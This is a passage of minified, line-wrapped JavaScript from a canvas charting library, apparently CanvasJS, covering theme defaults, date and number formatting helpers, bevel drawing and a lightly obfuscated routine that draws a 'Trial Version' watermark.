1,collapsibleThreshold:"25%",maxNumberOfAutoBreaks:2,spacing:8,type:"straight",colo
r:"#FFFFFF",fillOpacity:0.9,lineThickness:2,lineColor:"#E16E6E",lineDashType:"solid
",publicProperties:
{options:"readWrite",customBreaks:"readWrite",axis:"readOnly",autoBreaks:"readOnly"
,bounds:"readOnly",chart:"readOnly"}},Break:
{startValue:null,endValue:null,spacing:8,type:"straight",color:"#FFFFFF",fillOpacit
y:0.9,lineThickness:2,lineColor:"#E16E6E",lineDashType:"solid",publicProperties:
{options:"readWrite",scaleBreaks:"readOnly",bounds:"readOnly",chart:"readOnly"}},Cr
osshair:{enabled:!1,snapToDataPoint:!
1,color:"grey",opacity:null,thickness:2,lineDashType:"solid",label:"",labelWrap:!
0,labelMaxWidth:null,labelBackgroundColor:r?"grey":null,labelBorderColor:r?"grey":n
ull,labelBorderThickness:0,labelCornerRadius:0,labelFontFamily:r?"Calibri, Optima,
Candara, Verdana, Geneva, sans-
serif":"calibri",labelFontSize:12,labelFontColor:"#fff",labelFontWeight:"normal",la
belFontStyle:"normal",labelFormatter:null,valueFormatString:null,publicProperties:
{options:"readWrite",axis:"readOnly",bounds:"readOnly",chart:"readOnly"}},DataSerie
s:{name:null,dataPoints:null,label:"",bevelEnabled:!1,highlightEnabled:!
0,cursor:"default",indexLabel:"",indexLabelPlacement:"auto",indexLabelOrientation:"
horizontal",indexLabelFontColor:"black",indexLabelFontSize:12,indexLabelFontStyle:"
normal",indexLabelFontFamily:"Arial",indexLabelFontWeight:"normal",indexLabelBackgr
oundColor:null,indexLabelLineColor:"gray",indexLabelLineThickness:1,indexLabelLineD
ashType:"solid",indexLabelMaxWidth:null,indexLabelWrap:!
0,indexLabelFormatter:null,lineThickness:2,lineDashType:"solid",connectNullData:!
1,nullDataLineDashType:"dash",color:null,lineColor:null,risingColor:"white",falling
Color:"red",fillOpacity:null,startAngle:0,radius:null,innerRadius:null,neckHeight:n
ull,neckWidth:null,reversed:!
1,valueRepresents:null,linkedDataSeriesIndex:null,whiskerThickness:2,whiskerDashTyp
e:"solid",whiskerColor:null,whiskerLength:null,stemThickness:2,stemColor:null,stemD
ashType:"solid",upperBoxColor:"white",lowerBoxColor:"white",type:"column",xValueTyp
e:"number",axisXType:"primary",axisYType:"primary",axisXIndex:0,axisYIndex:0,xValue
FormatString:null,yValueFormatString:null,zValueFormatString:null,percentFormatStri
ng:null,showInLegend:null,legendMarkerType:null,legendMarkerColor:null,legendText:n
ull,legendMarkerBorderColor:r?"transparent":null,legendMarkerBorderThickness:0,mark
erType:"circle",markerColor:null,markerSize:null,markerBorderColor:r?"transparent":
null,markerBorderThickness:0,mouseover:null,mouseout:null,mousemove:null,click:null
,toolTipContent:null,visible:!0,publicProperties:
{options:"readWrite",axisX:"readWrite",axisY:"readWrite",chart:"readOnly"}},TextBlo
ck:
{x:0,y:0,width:null,height:null,maxWidth:null,maxHeight:null,padding:0,angle:0,text
:"",horizontalAlign:"center",fontSize:12,fontFamily:"calibri",fontWeight:"normal",f
ontColor:"black",fontStyle:"normal",borderThickness:0,borderColor:"black",cornerRad
ius:0,backgroundColor:null,textBaseline:"top"},CultureInfo:
{decimalSeparator:".",digitGroupSeparator:",",zoomText:"Zoom",panText:"Pan",resetTe
xt:"Reset",menuText:"More Options",saveJPGText:"Save as JPEG",savePNGText:"Save as
PNG",printText:"Print",days:"Sunday Monday Tuesday Wednesday Thursday Friday
Saturday".split(" "),shortDays:"Sun Mon Tue Wed Thu Fri Sat".split("
"),months:"January February March April May June July August September October
November December".split(" "),shortMonths:"Jan Feb Mar Apr May Jun Jul Aug Sep Oct
Nov Dec".split(" ")}},Ma={en:{}},v=r?"Trebuchet MS, Helvetica, sans-
serif":"Arial",Ha=r?"Impact, Charcoal, sans-serif":"Arial",Ba={colorSet1:"#4F81BC
#C0504E #9BBB58 #23BFAA #8064A1 #4AACC5 #F79647 #7F6084 #77A033 #33558B
#E59566".split(" "),colorSet2:"#6D78AD #51CDA0 #DF7970 #4C9CA0 #AE7D99 #C9D45C
#5592AD #DF874D #52BCA8 #8E7AA3 #E3CB64 #C77B85 #C39762 #8DD17E #B57952
#FCC26C".split(" "),colorSet3:"#8CA1BC #36845C #017E82 #8CB9D0 #708C98 #94838D
#F08891 #0366A7 #008276 #EE7757 #E5BA3A #F2990B #03557B #782970".split("
")},I,fa,Q,ha,ga;fa="#333333";Q="#000000";I="#666666";ga=ha="#000000";var
X=20,E=14,Xa={colorSet:"colorSet1",backgroundColor:"#FFFFFF",title:
{fontFamily:Ha,fontSize:32,fontColor:fa,fontWeight:"normal",verticalAlign:"top",mar
gin:5},subtitles:
[{fontFamily:Ha,fontSize:E,fontColor:fa,fontWeight:"normal",verticalAlign:"top",mar
gin:5}],data:
[{indexLabelFontFamily:v,indexLabelFontSize:E,indexLabelFontColor:fa,indexLabelFont
Weight:"normal",indexLabelLineThickness:1}],axisX:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:fa,titleFontWeight:"normal",labe
lFontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThickne
ss:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:0,gridColor:I,stripLines
:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#EEEEEE",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#BBBBBB",lineThickness:1,lineDashType:"solid
"}}],axisX2:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:fa,titleFontWeight:"normal",labe
lFontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThickne
ss:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:0,gridColor:I,stripLines
:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#EEEEEE",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#BBBBBB",lineThickness:1,lineDashType:"solid
"}}],axisY:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:fa,titleFontWeight:"normal",labe
lFontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThickne
ss:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:1,gridColor:I,stripLines
:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#EEEEEE",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#BBBBBB",lineThickness:1,lineDashType:"solid
"}}],axisY2:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:fa,titleFontWeight:"normal",labe
lFontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThickne
ss:1,lineColor:I,tickThickness:1,t
ickColor:I,gridThickness:1,gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#EEEEEE",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#BBBBBB",lineThickness:1,lineDashType:"solid
"}}],legend:
{fontFamily:v,fontSize:14,fontColor:fa,fontWeight:"bold",verticalAlign:"bottom",hor
izontalAlign:"center"},toolTip:
{fontFamily:v,fontSize:14,fontStyle:"normal",cornerRadius:0,borderThickness:1}};Q=f
a="#F5F5F5";I="#FFFFFF";ha="#40BAF1";ga="#F5F5F5";var
X=20,E=14,cb={colorSet:"colorSet2",title:
{fontFamily:v,fontSize:33,fontColor:"#3A3A3A",fontWeight:"bold",verticalAlign:"top"
,margin:5},subtitles:
[{fontFamily:v,fontSize:E,fontColor:"#3A3A3A",fontWeight:"normal",verticalAlign:"to
p",margin:5}],data:
[{indexLabelFontFamily:v,indexLabelFontSize:E,indexLabelFontColor:"#666666",indexLa
belFontWeight:"normal",indexLabelLineThickness:1}],axisX:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:"#666666",titleFontWeight:"norma
l",labelFontFamily:v,labelFontSize:E,labelFontColor:"#666666",labelFontWeight:"norm
al",lineThickness:1,lineColor:"#BBBBBB",tickThickness:1,tickColor:"#BBBBBB",gridThi
ckness:1,gridColor:"#BBBBBB",stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FFA500",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FFA500",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#EEEEEE",labelFontWeight:"normal
",labelBackgroundColor:"black",color:"black",thickness:1,lineDashType:"dot"},scaleB
reaks:
{type:"zigzag",spacing:"2%",lineColor:"#BBBBBB",lineThickness:1,lineDashType:"solid
"}}],axisX2:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:"#666666",titleFontWeight:"norma
l",labelFontFamily:v,labelFontSize:E,labelFontColor:"#666666",labelFontWeight:"norm
al",lineThickness:1,lineColor:"#BBBBBB",tickColor:"#BBBBBB",tickThickness:1,gridThi
ckness:1,gridColor:"#BBBBBB",stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FFA500",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FFA500",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#EEEEEE",labelFontWeight:"normal
",labelBackgroundColor:"black",color:"black",thickness:1,lineDashType:"dot"},scaleB
reaks:
{type:"zigzag",spacing:"2%",lineColor:"#BBBBBB",lineThickness:1,lineDashType:"solid
"}}],axisY:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:"#666666",titleFontWeight:"norma
l",labelFontFamily:v,labelFontSize:E,labelFontColor:"#666666",labelFontWeight:"norm
al",lineThickness:0,lineColor:"#BBBBBB",tickColor:"#BBBBBB",tickThickness:1,gridThi
ckness:1,gridColor:"#BBBBBB",stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FFA500",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FFA500",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#EEEEEE",labelFontWeight:"normal
",labelBackgroundColor:"black",color:"black",thickness:1,lineDashType:"dot"},scaleB
reaks:
{type:"zigzag",spacing:"2%",lineColor:"#BBBBBB",lineThickness:1,lineDashType:"solid
"}}],axisY2:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:"#666666",titleFontWeight:"norma
l",labelFontFamily:v,labelFontSize:E,labelFontColor:"#666666",labelFontWeight:"norm
al",lineThickness:0,lineColor:"#BBBBBB",tickColor:"#BBBBBB",tickThickness:1,gridThi
ckness:1,gridColor:"#BBBBBB",stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FFA500",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FFA500",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#EEEEEE",labelFontWeight:"normal
",labelBackgroundColor:"black",color:"black",thickness:1,lineDashType:"dot"},scaleB
reaks:
{type:"zigzag",spacing:"2%",lineColor:"#BBBBBB",lineThickness:1,lineDashType:"solid
"}}],legend:
{fontFamily:v,fontSize:14,fontColor:"#3A3A3A",fontWeight:"bold",verticalAlign:"bott
om",horizontalAlign:"center"},toolTip:
{fontFamily:v,fontSize:14,fontStyle:"normal",cornerRadius:0,borderThickness:1}};Q=f
a="#F5F5F5";I="#FFFFFF";ha="#40BAF1";ga="#F5F5F5";X=20;E=14;Ha={colorSet:"colorSet1
2",backgroundColor:"#2A2A2A",title:
{fontFamily:Ha,fontSize:32,fontColor:fa,fontWeight:"normal",verticalAlign:"top",mar
gin:5},subtitles:
[{fontFamily:Ha,fontSize:E,fontColor:fa,fontWeight:"normal",verticalAlign:"top",mar
gin:5}],toolbar:
{backgroundColor:"#666666",backgroundColorOnHover:"#FF7372",borderColor:"#FF7372",b
orderThickness:1,fontColor:"#F5F5F5",fontColorOnHover:"#F5F5F5"},data:
[{indexLabelFontFamily:v,indexLabelFontSize:E,indexLabelFontColor:Q,indexLabelFontW
eight:"normal",indexLabelLineThickness:1}],axisX:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:Q,titleFontWeight:"normal",label
FontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThicknes
s:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:0,gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#000000",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#777777",lineThickness:1,lineDashType:"solid
",color:"#111111"}}],axisX2:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:Q,titleFontWeight:"normal",label
FontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThicknes
s:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:0,gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#000000",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#777777",lineThickness:1,lineDashType:"solid
",color:"#111111"}}],axisY:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:Q,titleFontWeight:"normal",label
FontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThicknes
s:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:1,gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#000000",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#777777",lineThickness:1,lineDashType:"solid
",color:"#111111"}}],axisY2:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:Q,titleFontWeight:"normal",label
FontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThicknes
s:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:1,gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#000000",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#777777",lineThickness:1,lineDashType:"solid
",color:"#111111"}}],legend:
{fontFamily:v,fontSize:14,fontColor:fa,fontWeight:"bold",verticalAlign:"bottom",hor
izontalAlign:"center"},toolTip:
{fontFamily:v,fontSize:14,fontStyle:"normal",cornerRadius:0,borderThickness:1,fontC
olor:Q,backgroundColor:"rgba(0, 0, 0, .
7)"}};I="#FFFFFF";Q=fa="#FAFAFA";ha="#40BAF1";ga="#F5F5F5";var
X=20,E=14,ya={light1:Xa,light2:cb,dark1:Ha,dark2:
{colorSet:"colorSet2",backgroundColor:"#32373A",title:
{fontFamily:v,fontSize:32,fontColor:fa,fontWeight:"normal",verticalAlign:"top",marg
in:5},subtitles:
[{fontFamily:v,fontSize:E,fontColor:fa,fontWeight:"normal",verticalAlign:"top",marg
in:5}],toolbar:
{backgroundColor:"#666666",backgroundColorOnHover:"#FF7372",borderColor:"#FF7372",b
orderThickness:1,fontColor:"#F5F5F5",fontColorOnHover:"#F5F5F5"},data:
[{indexLabelFontFamily:v,indexLabelFontSize:E,indexLabelFontColor:Q,indexLabelFontW
eight:"normal",indexLabelLineThickness:1}],axisX:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:Q,titleFontWeight:"normal",label
FontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThicknes
s:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:0,gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#000000",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#777777",lineThickness:1,lineDashType:"solid
",color:"#111111"}}],axisX2:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:Q,titleFontWeight:"normal",label
FontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThicknes
s:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:0,gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#000000",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#777777",lineThickness:1,lineDashType:"solid
",color:"#111111"}}],axisY:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:Q,titleFontWeight:"normal",label
FontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThicknes
s:0,lineColor:I,tickThickness:1,tickColor:I,gridThickness:1,gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#000000",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#777777",lineThickness:1,lineDashType:"solid
",color:"#111111"}}],axisY2:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:Q,titleFontWeight:"normal",label
FontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThicknes
s:0,lineColor:I,tickThickness:1,tickColor:I,gridThickness:1,gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#000000",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#777777",lineThickness:1,lineDashType:"solid
",color:"#111111"}}],legend:
{fontFamily:v,fontSize:14,fontColor:fa,fontWeight:"bold",verticalAlign:"bottom",hor
izontalAlign:"center"},toolTip:
{fontFamily:v,fontSize:14,fontStyle:"normal",cornerRadius:0,borderThickness:1,fontC
olor:Q,backgroundColor:"rgba(0, 0, 0, .
7)"}},theme1:Xa,theme2:cb,theme3:Xa},S={numberDuration:1,yearDuration:314496E5,mont
hDuration:2592E6,weekDuration:6048E5,dayDuration:864E5,hourDuration:36E5,minuteDura
tion:6E4,secondDuration:1E3,millisecondDuration:1,dayOfWeekFromInt:"Sunday Monday
Tuesday Wednesday Thursday Friday Saturday".split(" ")};(function()
{U.fSDec=function(h){for(var p="",r=0;r<h.length;r+
+)p+=String.fromCharCode(Math.ceil(h.length/57/5)^h.charCodeAt(r));return
p};U.obj={trVs:"Ush`m!Wdsrhno",fntStr:"qy!B`mhcsh-!Mtbhe`!Fs`oed-!Mtbhe`!R`or!
Tohbned-!@sh`m-!
r`or,rdshg",txtBl:"udyuC`rdmhod",fnt:"gnou",fSy:"ghmmRuxmd",fTx:"ghmmUdyu",grClr:"f
sdx",cntx:"buy",tp:"unq"};delete ra[U.fSDec("Bi`su")]
[U.fSDec("bsdehuIsdg")];U.pro={sCH:ra[U.fSDec("Bi`su")]
[U.fSDec("bsdehuIsdg")]};U._fTWm=function(h){if("undefined"===typeof U.pro.sCH&&!
db)try{var
p=h[U.fSDec(U.obj.cntx)];p[U.fSDec(U.obj.txtBl)]=U.fSDec(U.obj.tp);p[U.fSDec(U.obj.
fnt)]=11+U.fSDec(U.obj.fntStr);p[U.fSDec(U.obj.fSy)]=U.fSDec(U.obj.grClr);p[U.fSDec
(U.obj.fTx)](U.fSDec(U.obj.trVs),2,h.height-11-2)}catch(r){}}})();var
$a={},xa=null,kb=function()
{this.ctx.clearRect(0,0,this.width,this.height);this.backgroundColor&&(this.ctx.fil
lStyle=this.backgroundColor,this.ctx.fillRect(0,0,this.width,this.height))},lb=func
tion(h,p,r){p=Math.min(this.width,this.height);return
Math.max("theme4"===this.theme?0:300<=p?12:10,Math.round(p*(h/400)))},Ca=function()
{var h=/D{1,4}|M{1,4}|Y{1,4}|h{1,2}|H{1,2}|m{1,2}|s{1,2}|f{1,3}|t{1,2}|T{1,2}|K|
z{1,3}|"[^"]*"|'[^']*'/g,p="Sunday Monday Tuesday Wednesday Thursday Friday
Saturday".split(" "),r="Sun Mon Tue Wed Thu Fri Sat".split(" "),u="January February
March April May June July August September October November December".split("
"),v="Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split(" "),H=/\b(?:[PMCEA]
[SDP]T|(?:Pacific|Mountain|Central|Eastern|Atlantic) (?:Standard|Daylight|
Prevailing) Time|(?:GMT|UTC)(?:[-+]\d{4})?)\b/g,F=/[^-+\dA-Z]/g;return
function(z,E,L){var R=L?L.days:p,I=L?L.months:u,N=L?L.shortDays:r,O=L?
L.shortMonths:v;L="";var S=!1;z=z&&z.getTime?z:z?new Date(z):new
Date;if(isNaN(z))throw SyntaxError("invalid
date");"UTC:"===E.slice(0,4)&&(E=E.slice(4),S=!0);L=S?"getUTC":"get";var
U=z[L+"Date"](),V=z[L+"Day"](),M=z[L+"Month"](),Q=z[L+"FullYear"](),a=z[L+"Hours"]
(),d=z[L+"Minutes"](),b=z[L+"Seconds"](),c=z[L+"Milliseconds"](),e=S?
0:z.getTimezoneOffset();return L=E.replace(h,function(g){switch(g){case"D":return
U;case"DD":return $(U,2);case"DDD":return N[V];case"DDDD":return
R[V];case"M":return M+1;case"MM":return $(M+1,2);case"MMM":return
O[M];case"MMMM":return I[M];case"Y":return parseInt(String(Q).slice(-
2));case"YY":return $(String(Q).slice(-2),2);case"YYY":return $(String(Q).slice(-
3),3);case"YYYY":return $(Q,4);case"h":return a%12||12;case"hh":return $(a%12||
12,2);case"H":return a;case"HH":return $(a,2);case"m":return d;case"mm":return $
(d,2);case"s":return b;case"ss":return $(b,2);case"f":return
String(c).slice(0,1);case"ff":return $(String(c).slice(0,2),2);case"fff":return $
(String(c).slice(0,3),3);case"t":return 12>a?"a":"p";case"tt":return
12>a?"am":"pm";case"T":return 12>a?"A":"P";case"TT":return
12>a?"AM":"PM";case"K":return S?"UTC":(String(z).match(H)||
[""]).pop().replace(F,"");case"z":return(0<e?"-":"+")
+Math.floor(Math.abs(e)/60);case"zz":return(0<e?"-":"+")+$
(Math.floor(Math.abs(e)/60),2);case"zzz":return(0<e?"-":"+")+$
(Math.floor(Math.abs(e)/60),2)+$(Math.abs(e)%60,2);default:return
g.slice(1,g.length-1)}})}}(),ba=function(h,p,r){if(null===h)return"";if(!
isFinite(h))return h;h=Number(h);var u=0>h?!0:!1;u&&(h*=-1);var v=r?
r.decimalSeparator:".",H=r?r.digitGroupSeparator:",",F="";p=String(p);var
F=1,z=r="",E=-1,L=[],R=[],I=0,N=0,S=0,O=!1,U=0,z=p.match(/"[^"]*"|'[^']*'|[eE]
[+-]*[0]+|[,]+[.]|\u2030|./g);p=null;for(var Q=0;z&&Q<z.length;Q+
+)if(p=z[Q],"."===p&&0>E)E=Q;else{if("%"===p)F*=100;else if("\u2030"===p)
{F*=1E3;continue}else if(","===p[0]&&"."===p[p.length-1]){F/=Math.pow(1E3,p.length-
1);E=Q+p.length-1;continue}else"E"!==p[0]&&"e"!==p[0]||"0"!==p[p.length-1]||(O=!
0);0>E?(L.push(p),"#"===p||"0"===p?I++:","===p&&S++):(R.push(p),"#"!==p&&"0"!==p||
N++)}O&&(p=Math.floor(h),z=-Math.floor(Math.log(h)/Math.LN10+1),U=0===h?0:0===p?-
(I+z):String(p).length-
I,F/=Math.pow(10,U));0>E&&(E=Q);F=(h*F).toFixed(N);p=F.split(".");F=(p[0]+"").split
("");h=(p[1]+"").split("");F&&"0"===F[0]&&F.shift();for(O=z=Q=N=E=0;0<L.length;)if(
p=L.pop(),"#"===p||"0"===p)if(E++,E===I){var M=F,F=[];if("0"===p)for(p=I-N-(M?
M.length:0);0<p;)M.unshift("0"),p--;for(;0<M.length;)r=M.pop()+r,O++,0===O
%z&&(Q===S&&0<M.length)&&(r=H+r)}else 0<F.length?(r=F.pop()+r,N++,O+
+):"0"===p&&(r="0"+r,N++,O++),0===O%z&&(Q===S&&0<F.length)&&(r=H+r);else"E"!
==p[0]&&"e"!==p[0]||"0"!==p[p.length-1]||!/[eE][+-]*[0]+/.test(p)?","===p?(Q+
+,z=O,O=0,0<F.length&&(r=H+r)):r=1<p.length&&('"'===p[0]&&'"'===p[p.length-
1]||"'"===p[0]&&"'"===p[p.length-1])?p.slice(1,p.length-1)+r:p+r:(p=0>U?
p.replace("+","").replace("-",""):p.replace("-",""),r+=p.replace(/[0]+/,function(h)
{return $(U,h.length)}));H="";for(L=!1;0<R.length;)p=R.shift(),"#"===p||"0"===p?
0<h.length&&0!==Number(h.join(""))?(H+=h.shift(),L=!0):"0"===p&&(H+="0",L=!
0):1<p.length&&('"'===p[0]&&'"'===p[p.length-1]||"'"===p[0]&&"'"===p[p.length-1])?
H+=p.slice(1,p.length-1):"E"!==p[0]&&"e"!==p[0]||"0"!==p[p.length-1]||!/[eE]
[+-]*[0]+/.test(p)?H+=p:(p=0>U?
p.replace("+","").replace("-",""):p.replace("-",""),H+=p.replace(/[0]+/,function(h)
{return $(U,h.length)}));r+=(L?v:"")+H;return u?"-"+r:r},Ra=function(h){var
p=0,r=0;h=h||window.event;h.offsetX||0===h.offsetX?
(p=h.offsetX,r=h.offsetY):h.layerX||0==h.layerX?(p=h.layerX,r=h.layerY):(p=h.pageX-
h.target.offsetLeft,r=h.pageY-h.target.offsetTop);return{x:p,y:r}},bb=!
0,Ua=window.devicePixelRatio||1,Pa=1,W=bb?
Ua/Pa:1,ea=function(h,p,r,u,v,H,F,z,E,L,R,N,O){"undefined"===typeof O&&(O=1);F=F||
0;z=z||"black";var I=15<u-p&&15<v-r?8:0.35*Math.min(u-p,v-
r);h.beginPath();h.moveTo(p,r);h.save();h.fillStyle=H;h.globalAlpha=O;h.fillRect(p,
r,u-p,v-r);h.globalAlpha=1;0<F&&(O=0===F%2?
0:0.5,h.beginPath(),h.lineWidth=F,h.strokeStyle=z,h.moveTo(p,r),h.rect(p-O,r-O,u-
p+2*O,v-r+2*O),h.stroke());h.restore();!
0===E&&(h.save(),h.beginPath(),h.moveTo(p,r),h.lineTo(p+I,r+I),h.lineTo(u-
I,r+I),h.lineTo(u,r),h.closePath(),F=h.createLinearGradient((u+p)/2,r+I,
(u+p)/2,r),F.addColorStop(0,H),F.addColorStop(1,"rgba(255, 255, 255, .
4)"),h.fillStyle=F,h.fill(),h.restore());!
0===L&&(h.save(),h.beginPath(),h.moveTo(p,v),h.lineTo(p+I,v-I),h.lineTo(u-I,v-
I),h.lineTo(u,v),h.closePath(),F=h.createLinearGradient((u+p)/2,v-I,
(u+p)/2,v),F.addColorStop(0,H),F.addColorStop(1,"rgba(255, 255, 255, .
4)"),h.fillStyle=F,h.fill(),h.restore());!
0===R&&(h.save(),h.beginPath(),h.moveTo(p,r),h.lineTo(p+I,r+I),h.lineTo(p+I,v-
I),h.lineTo(p,v),h.closePath(),F=h.createLinearGradient(p+I,(v+r)/2,p,
(v+r)/2),F.addColorStop(0,H),F.addColorStop(1,"rgba(255, 255, 255,
0.1)"),h.fillStyle=F,h.fill(),h.restore());!
0===N&&(h.save(),h.beginPath(),h.moveTo(u,r),h.lineTo(u-I,r+I),h.lineTo(u-I,v-
I),h.lineTo(u,v),F=h.createLinearGradient(u-I,(v+r)/2,u,
(v+r)/2),F.addColorStop(0,H),F.addColorStop(1,"rgba(255, 255, 255,
0.1)"),h.fillStyle=F,F.addColorStop(0,H),F.addColorStop(1,"rgba(255, 255, 255,
0.1)"),h.fillStyle=F,h.fill(),h.closePath(),h.restore())},ja=function(h){for(var
p="",r=0;r<h.length;r+
+)p+=String.fromCharCode(Math.ceil(h.length/57/5)^h.charCodeAt(r));return
